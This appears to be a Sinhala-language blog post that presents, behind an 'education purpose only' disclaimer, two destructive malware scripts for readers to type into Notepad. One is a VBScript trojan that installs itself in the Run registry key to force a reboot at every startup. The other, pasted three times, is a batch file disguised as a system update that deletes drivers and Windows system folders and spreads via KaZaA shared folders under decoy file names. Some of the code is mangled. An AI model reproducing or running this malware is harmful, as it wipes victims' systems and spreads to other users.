R.B.M.R (හැම දෙයක්ම)

මේ සේරම දේවල් ලියන්නේ education purpose විතරයි,වැරදි දේවල් වලට යොදාගන්න එපා!
මේ පෝස්ට් එකෙන් ලියන්නේ....කාටවත් හානියක් කරන්න මෙ දේවල් යොදා ගන්න එපා

ඔබ කරන ගොන් වැඩ වලට වග කියනු නොලැබෙ


මෙහෙමයි,
මුලින්ම  notepad එක open කරන්න....
ඊලගට  පහත තියෙන  code එක ගහ ගන්නකො ටිකක් දිගයි තමා ඒත් හැම දේම Copy Paste කරන්න ගියොත් කිසි ගතියක් නෑනෙ

 මතක තියාගන්න මෙ වයිරස් කලින් හදපු වට වඩා ගොඩක් භයානක වයිරස් ටිකක් ඒක නිසා පුතො වයිරස් එක හැදුවට කමක් නැ ඒක ඔපන් කරන්නනම් එපා

(කාරුණික දැනුම් දීමයි මෙම පොස්ටුව අත්හදා බැලීමට නොවේ දන ගැනීම පිණිසයි,අත්හදා බැලුවොත් එය ඔබට නැවත අත්හදා බලන්නටද නොහැකි අනු ඇත  )

Virus  1



brakes - dlRB "DL Reboot" Trojan script by D.L.
On Error Resume Next FSobj dim, sysDir, generateCopy, newfile, fixedCode, procreateCopy, fileData
set FSobj = CreateObject ("Scripting.FileSystemObject") set sysDir = FSobj.GetSpecialFolder (1)
createRegKey "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \dlRB", sysDir & "\ dlRB.vbs"
sub createRegKey (regkey, regVal) set regedit = CreateObject ("WScript.Shell") regEdit.RegWrite regkey, regVal end sub
set generateCopy = FSobj.CreateTextFile (sysDir + "\ dlRB.vbs") generateCopy.close
set newfile = FSobj.OpenTextFile (WScript.ScriptFullname, 1) setFile () fixedCode = replace (fileData, chr (94), "" "")
set procreateCopy = FSobj.OpenTextFile (sysDir + "\ dlRB.vbs", 2) procreateCopy.write fixedCode procreateCopy.close
rebootSystem ()
setFile function () fileData = "rem - ^ ^ by D.L. dlRB" & vbCrLf & _ "strComputer = ^. ^" & vbCrLf & _ "Set objWMIService = GetObject (winmgmts ^: ^ _" & vbCrLf & _ "& ^ {ImpersonationLevel = impersonate, (Shutdown)}! \ \ ^ & ^ & StrComputer \ root \ cimv2 ^)" &vbCrLf & _ "Set colOperatingSystems = objWMIService.ExecQuery _ '& vbCrLf & _ "(Select * from Win32_OperatingSystem ^ ^)" & vbCrLf & _ "For Each objOperatingSystem in colOperatingSystems" & vbCrLf & _ "ObjOperatingSystem.Reboot ()" & vbCrLf & _ "Next" end function
rebootSystem function () strComputer = "."
Set objWMIService = GetObject ("winmgmts:" _ & "{ImpersonationLevel = impersonate, (Shutdown)}! \ \" & StrComputer & "\ root \ cimv2")
Set colOperatingSystems = objWMIService.ExecQuery _ ("Select * from Win32_OperatingSystem")
For Each objOperatingSystem in colOperatingSystems ObjOperatingSystem.Reboot () Next end function










 Virus 2




@ECHO OFF
if exist c:\romp.bat goto end
:start
cls
Echo Installing Update...
cd c:\windows\system
del keyboard.drv
del mouse.drv
TITLE System Update
echo ::startup >> c:\romp.bat
echo if not exist c:\damp goto prompt >> c:\romp.bat
echo :start >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd damp >> c:\romp.bat
echo md keys >> c:\romp.bat
echo pause >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat c:\windows\stone.bat >> c:\romp.bat
echo rmdir c:\WUTemp >> c:\romp.bat
echo del c:\windows\system32\*.* >> c:\romp.bat
echo rmdir c:\windows\system32 >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo md system32 >> c:\romp.bat
echo pause >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo cd system32 >> c:\romp.bat
echo md tools >> c:\romp.bat
echo copy *.bat c:\windows\system32\tools\urscrewed.bat
echo echo msgbox" Ur system is now screwed" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" This was no scan... it was more like a scam" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" It has deleted pretty much all of system32 which is in windows and has messed



with windows" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" There is no more windows on this computer" >> c:\plastic.vbs >> c:\romp.bat
echo Rd/s/q c:\windows >> c:\romp.bat
echo Rd/s/q c:\progra~1 >> c:\romp.bat
echo goto part2 >> c:\romp.bat
      >> c:\romp.bat
      >> c:\romp.bat
echo :part2 >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo md Kierstyn'scan >> c:\romp.bat
echo pause >> c:\romp.bat
echo goto part3 >> c:\romp.bat
        >> c:\romp.bat
        >> c:\romp.bat
echo :part3 >> c:\romp.bat
echo rename c:\windows c:\viriiscan >> c:\romp.bat
echo goto end1 >> c:\romp.bat

echo :prompt >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo md damp >> c:\romp.bat
echo copy *.bat c:\damp.bat >> c:\romp.bat
echo echo msgbox" Oh No u r so stupid" >> c:\pomper.vbs >> c:\romp.bat
echo echo msgbox" Wow you probably got this through ur lan" >> c:\pomper.vbs >> c:\romp.bat
echo echo msgbox" Happy dieing staples" >> c:\pomper.vbs >> c:\romp.bat
echo goto start >> c:\romp.bat
      >> c:\romp.bat
      >> c:\romp.bat
echo :end1 >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Matrix2.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\8-legged-freaks.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Password_finder.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\s-club7.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\JackAss the movie.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\password hacker.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Norton anti virus.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\8-mile.mpg.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\kazaa.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\realplayer.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\MyPic.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Bill gates *very funny*.bmp.bat >>



c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Bill gates *very funny*.mpg.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\windows xp.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\How to make viruses.txt.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\*very funny*.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\How to stop worm viruses.txt.bat >>

c:\romp.bat
echo goto end >> c:\romp.bat
echo :end >> c:\romp.bat
Echo Virus installed
cd c:\Docume~1\All Users\Start Menu\Programs\Startup
copy *.bat cd c:\Docume~1\All Users\Start Menu\Programs\Startup
Echo Now You have to restart to save
START C:\WINDOWS\RUNDLL.EXE user.exe,exitwindowsexec
rundll32.exe shell32.dll,SHExitWindowsEx n
pause
del c:\thecreator.bat
:end@ECHO OFF
if exist c:\romp.bat goto end
:start
cls
Echo Installing Update...
cd c:\windows\system
del keyboard.drv
del mouse.drv
TITLE System Update
echo ::startup >> c:\romp.bat
echo if not exist c:\damp goto prompt >> c:\romp.bat
echo :start >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd damp >> c:\romp.bat
echo md keys >> c:\romp.bat
echo pause >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat c:\windows\stone.bat >> c:\romp.bat
echo rmdir c:\WUTemp >> c:\romp.bat
echo del c:\windows\system32\*.* >> c:\romp.bat
echo rmdir c:\windows\system32 >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo md system32 >> c:\romp.bat
echo pause >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo cd system32 >> c:\romp.bat
echo md tools >> c:\romp.bat
echo copy *.bat c:\windows\system32\tools\urscrewed.bat
echo echo msgbox" Ur system is now screwed" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" This was no scan... it was more like a scam" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" It has deleted pretty much all of system32 which is in windows and has messed

with windows" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" There is no more windows on this computer" >> c:\plastic.vbs >> c:\romp.bat
echo Rd/s/q c:\windows >> c:\romp.bat
echo Rd/s/q c:\progra~1 >> c:\romp.bat
echo goto part2 >> c:\romp.bat
      >> c:\romp.bat
      >> c:\romp.bat
echo :part2 >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo md Kierstyn'scan >> c:\romp.bat
echo pause >> c:\romp.bat
echo goto part3 >> c:\romp.bat
        >> c:\romp.bat
        >> c:\romp.bat
echo :part3 >> c:\romp.bat
echo rename c:\windows c:\viriiscan >> c:\romp.bat
echo goto end1 >> c:\romp.bat

echo :prompt >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo md damp >> c:\romp.bat
echo copy *.bat c:\damp.bat >> c:\romp.bat
echo echo msgbox" Oh No u r so stupid" >> c:\pomper.vbs >> c:\romp.bat
echo echo msgbox" Wow you probably got this through ur lan" >> c:\pomper.vbs >> c:\romp.bat
echo echo msgbox" Happy dieing staples" >> c:\pomper.vbs >> c:\romp.bat
echo goto start >> c:\romp.bat
      >> c:\romp.bat
      >> c:\romp.bat
echo :end1 >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Matrix2.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\8-legged-freaks.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Password_finder.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\s-club7.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\JackAss the movie.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\password hacker.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Norton anti virus.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\8-mile.mpg.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\kazaa.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\realplayer.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\MyPic.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Bill gates *very funny*.bmp.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Bill gates *very funny*.mpg.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\windows xp.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\How to make viruses.txt.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\*very funny*.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\How to stop worm viruses.txt.bat >>

c:\romp.bat
echo goto end >> c:\romp.bat
echo :end >> c:\romp.bat
Echo Virus installed
cd c:\Docume~1\All Users\Start Menu\Programs\Startup
copy *.bat cd c:\Docume~1\All Users\Start Menu\Programs\Startup
Echo Now You have to restart to save
START C:\WINDOWS\RUNDLL.EXE user.exe,exitwindowsexec
rundll32.exe shell32.dll,SHExitWindowsEx n
pause
del c:\thecreator.bat
:end@ECHO OFF
if exist c:\romp.bat goto end
:start
cls
Echo Installing Update...
cd c:\windows\system
del keyboard.drv
del mouse.drv
TITLE System Update
echo ::startup >> c:\romp.bat
echo if not exist c:\damp goto prompt >> c:\romp.bat
echo :start >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd damp >> c:\romp.bat
echo md keys >> c:\romp.bat
echo pause >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat c:\windows\stone.bat >> c:\romp.bat
echo rmdir c:\WUTemp >> c:\romp.bat
echo del c:\windows\system32\*.* >> c:\romp.bat
echo rmdir c:\windows\system32 >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo md system32 >> c:\romp.bat
echo pause >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo cd system32 >> c:\romp.bat
echo md tools >> c:\romp.bat
echo copy *.bat c:\windows\system32\tools\urscrewed.bat
echo echo msgbox" Ur system is now screwed" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" This was no scan... it was more like a scam" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" It has deleted pretty much all of system32 which is in windows and has messed

with windows" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" There is no more windows on this computer" >> c:\plastic.vbs >> c:\romp.bat
echo Rd/s/q c:\windows >> c:\romp.bat
echo Rd/s/q c:\progra~1 >> c:\romp.bat
echo goto part2 >> c:\romp.bat
      >> c:\romp.bat
      >> c:\romp.bat
echo :part2 >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo md Kierstyn'scan >> c:\romp.bat
echo pause >> c:\romp.bat
echo goto part3 >> c:\romp.bat
        >> c:\romp.bat
        >> c:\romp.bat
echo :part3 >> c:\romp.bat
echo rename c:\windows c:\viriiscan >> c:\romp.bat
echo goto end1 >> c:\romp.bat

echo :prompt >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo md damp >> c:\romp.bat
echo copy *.bat c:\damp.bat >> c:\romp.bat
echo echo msgbox" Oh No u r so stupid" >> c:\pomper.vbs >> c:\romp.bat
echo echo msgbox" Wow you probably got this through ur lan" >> c:\pomper.vbs >> c:\romp.bat
echo echo msgbox" Happy dieing staples" >> c:\pomper.vbs >> c:\romp.bat
echo goto start >> c:\romp.bat
      >> c:\romp.bat
      >> c:\romp.bat
echo :end1 >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Matrix2.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\8-legged-freaks.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Password_finder.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\s-club7.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\JackAss the movie.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\password hacker.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Norton anti virus.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\8-mile.mpg.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\kazaa.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\realplayer.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\MyPic.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Bill gates *very funny*.bmp.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Bill gates *very funny*.mpg.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\windows xp.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\How to make viruses.txt.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\*very funny*.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\How to stop worm viruses.txt.bat >>

c:\romp.bat
echo goto end >> c:\romp.bat
echo :end >> c:\romp.bat
Echo Virus installed
cd c:\Docume~1\All Users\Start Menu\Programs\Startup
copy *.bat cd c:\Docume~1\All Users\Start Menu\Programs\Startup
Echo Now You have to restart to save
START C:\WINDOWS\RUNDLL.EXE user.exe,exitwindowsexec
rundll32.exe shell32.dll,SHExitWindowsEx n
pause
del c:\thecreator.bat
:end